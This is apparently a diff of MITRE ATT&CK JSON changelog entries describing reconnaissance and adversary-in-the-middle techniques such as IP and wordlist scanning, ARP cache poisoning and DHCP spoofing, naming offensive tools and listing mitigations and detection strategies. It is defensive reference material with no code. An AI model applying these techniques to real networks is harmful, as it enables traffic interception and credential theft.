+ "description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1595/001",
+ "external_id": "T1595.001"
+ },
+ {
+ "source_name": "Botnet Scan",
+ "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.",
+ "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf"
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+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Diego Sappa, Securonix"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_platforms": [
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+ "x_mitre_version": "1.1",
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+ "shared": [],
+ "new": [
+ "DET0817: Detection of Scanning IP Blocks"
+ ],
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+ }
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:55:16.047000+00:00",
+ "modified": "2025-10-24 17:48:48.647000+00:00",
+ "name": "Vulnerability Scanning",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1595/002",
+ "external_id": "T1595.002"
+ },
+ {
+ "source_name": "OWASP Vuln Scanning",
+ "description": "OWASP. (n.d.). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.",
+ "url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning"
+ }
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "x_mitre_version": "1.0",
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+ "previous_version": "1.0",
+ "changelog_mitigations": {
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+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0867: Detection of Vulnerability Scanning"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2022-03-04 18:56:38.844000+00:00",
+ "modified": "2025-10-24 17:49:18.777000+00:00",
+ "name": "Wordlist Scanning",
+ "description": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)). \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1595/003",
+ "external_id": "T1595.003"
+ },
+ {
+ "source_name": "ClearSky Lebanese Cedar Jan 2021",
+ "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.",
+ "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf"
+ },
+ {
+ "source_name": "GCPBucketBrute",
+ "description": "Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP) Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022.",
+ "url": "https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/"
+ },
+ {
+ "source_name": "S3Recon GitHub",
+ "description": "Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March 4, 2022.",
+ "url": "https://github.com/clarketm/s3recon"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Jan Petrov, Citi",
+ "Elvis Veliz, Citi",
+ "Richard Julian, Citi"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
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+ "x_mitre_version": "1.0",
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+ "shared": [
+ "M1042: Disable or Remove Feature or Program",
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0029: Network Traffic (Network Traffic Content)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0868: Detection of Wordlist Scanning"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 19:07:12.114000+00:00",
+ "modified": "2025-10-24 17:48:20.163000+00:00",
+ "name": "Adversary-in-the-Middle",
+ "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "collection"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1557",
+ "external_id": "T1557"
+ },
+ {
+ "source_name": "dns_changer_trojans",
+ "description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.",
+ "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats"
+ },
+ {
+ "source_name": "volexity_0day_sophos_FW",
+ "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
+ "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
+ },
+ {
+ "source_name": "taxonomy_downgrade_att_tls",
+ "description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.",
+ "url": "https://arxiv.org/abs/1809.05681"
+ },
+ {
+ "source_name": "ad_blocker_with_miner",
+ "description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.",
+ "url": "https://securelist.com/ad-blocker-with-miner-included/101105/"
+ },
+ {
+ "source_name": "Token tactics",
+ "description": "Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.",
+ "url": "https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/"
+ },
+ {
+ "source_name": "mitm_tls_downgrade_att",
+ "description": "praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.",
+ "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
+ },
+ {
+ "source_name": "Rapid7 MiTM Basics",
+ "description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.",
+ "url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/"
+ },
+ {
+ "source_name": "tlseminar_downgrade_att",
+ "description": "Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.",
+ "url": "https://tlseminar.github.io/downgrade-attacks/"
+ },
+ {
+ "source_name": "ttint_rat",
+ "description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.",
+ "url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/"
+ }
+ ],
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+ "Mayuresh Dani, Qualys",
+ "Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project",
+ "NEC"
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+ "x_mitre_detection": "",
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+ "macOS",
+ "Network Devices",
+ "Windows"
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+ "previous_version": "2.5",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1030: Network Segmentation",
+ "M1031: Network Intrusion Prevention",
+ "M1035: Limit Access to Resource Over Network",
+ "M1037: Filter Network Traffic",
+ "M1041: Encrypt Sensitive Information",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
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+ "changelog_datacomponent_detections": {
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+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
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+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0296: Detect Adversary-in-the-Middle via Network and Configuration Anomalies"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-15 12:05:58.755000+00:00",
+ "modified": "2025-10-24 17:49:23.221000+00:00",
+ "name": "ARP Cache Poisoning",
+ "description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "collection"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1557/002",
+ "external_id": "T1557.002"
+ },
+ {
+ "source_name": "Cylance Cleaver",
+ "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
+ "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
+ },
+ {
+ "source_name": "RFC826 ARP",
+ "description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.",
+ "url": "https://tools.ietf.org/html/rfc826"
+ },
+ {
+ "source_name": "Sans ARP Spoofing Aug 2003",
+ "description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.",
+ "url": "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Jon Sternstein, Stern Security"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.221000+00:00\", \"old_value\": \"2025-04-15 21:43:10.406000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \\n\\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \\n-\\n-Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.\"}}}",
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+ "M1017: User Training",
+ "M1031: Network Intrusion Prevention",
+ "M1035: Limit Access to Resource Over Network",
+ "M1037: Filter Network Traffic",
+ "M1041: Encrypt Sensitive Information",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0387: Detect ARP Cache Poisoning Across Linux, Windows, and macOS"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2022-03-24 19:30:56.727000+00:00",
+ "modified": "2025-10-24 17:48:49.941000+00:00",
+ "name": "DHCP Spoofing",
+ "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "collection"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1557/003",
+ "external_id": "T1557.003"
+ },
+ {
+ "source_name": "rfc2131",
+ "description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.",
+ "url": "https://datatracker.ietf.org/doc/html/rfc2131"
+ },
+ {
+ "source_name": "new_rogue_DHCP_serv_malware",
+ "description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.",
+ "url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/"
+ },
+ {
+ "source_name": "rfc3315",
+ "description": "J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.",
+ "url": "https://datatracker.ietf.org/doc/html/rfc3315"
+ },
+ {
+ "source_name": "dhcp_serv_op_events",
+ "description": "Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)"
+ },
+ {
+ "source_name": "solution_monitor_dhcp_scopes",
+ "description": "Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.",
+ "url": "https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/"
+ },
+ {
+ "source_name": "w32.tidserv.g",
+ "description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.",
+ "url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2"
+ }
+ ],
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+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Alex Spivakovsky, Pentera",
+ "Andrew Allen, @whitehat_zero"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.941000+00:00\", \"old_value\": \"2025-04-15 22:13:20.292000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)\"}}}",
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+ "DET0468: Detect DHCP Spoofing Across Linux, Windows, and macOS"
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+ "id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
+ "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response"
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+ "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
+ "url": "https://github.com/SpiderLabs/Responder"
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+ "source_name": "Secure Ideas SMB Relay",
+ "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.",
+ "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html"
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+ "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
+ "url": "https://technet.microsoft.com/library/cc958811.aspx"
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+ "source_name": "GitHub NBNSpoof",
+ "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
+ "url": "https://github.com/nomex/nbnspoof"
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+ "source_name": "GitHub Conveigh",
+ "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
+ "url": "https://github.com/Kevin-Robertson/Conveigh"
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+ "source_name": "byt3bl33d3r NTLM Relaying",
+ "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.",
+ "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html"
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+ "source_name": "Sternsecurity LLMNR-NBTNS",
+ "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
+ "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"
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+ "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
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+ "created": "2017-05-31 21:30:56.776000+00:00",
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+ "external_id": "T1071"
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+ "source_name": "University of Birmingham C2",
+ "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
+ "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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+ "source_name": "Mandiant APT29 Eye Spy Email Nov 22",
+ "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
+ "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
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+ "new": [
+ "DET0444: Detection of Command and Control Over Application Layer Protocols"
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "modified": "2025-10-24 17:48:48.564000+00:00",
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+ "source_name": "FireEye APT28",
+ "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
+ "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
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+ "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
+ "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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+ "macOS",
+ "Network Devices",
+ "Windows"
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+ "source_name": "ESET Grandoreiro April 2020",
+ "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.",
+ "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"
+ },
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+ "source_name": "Prevailion DarkWatchman 2021",
+ "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
+ "url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.488000+00:00\", \"old_value\": \"2025-04-15 21:49:50.019000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0097: Detection of Application Window Enumeration via API or Scripting"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-20 20:53:45.725000+00:00",
+ "modified": "2025-10-24 17:48:48.023000+00:00",
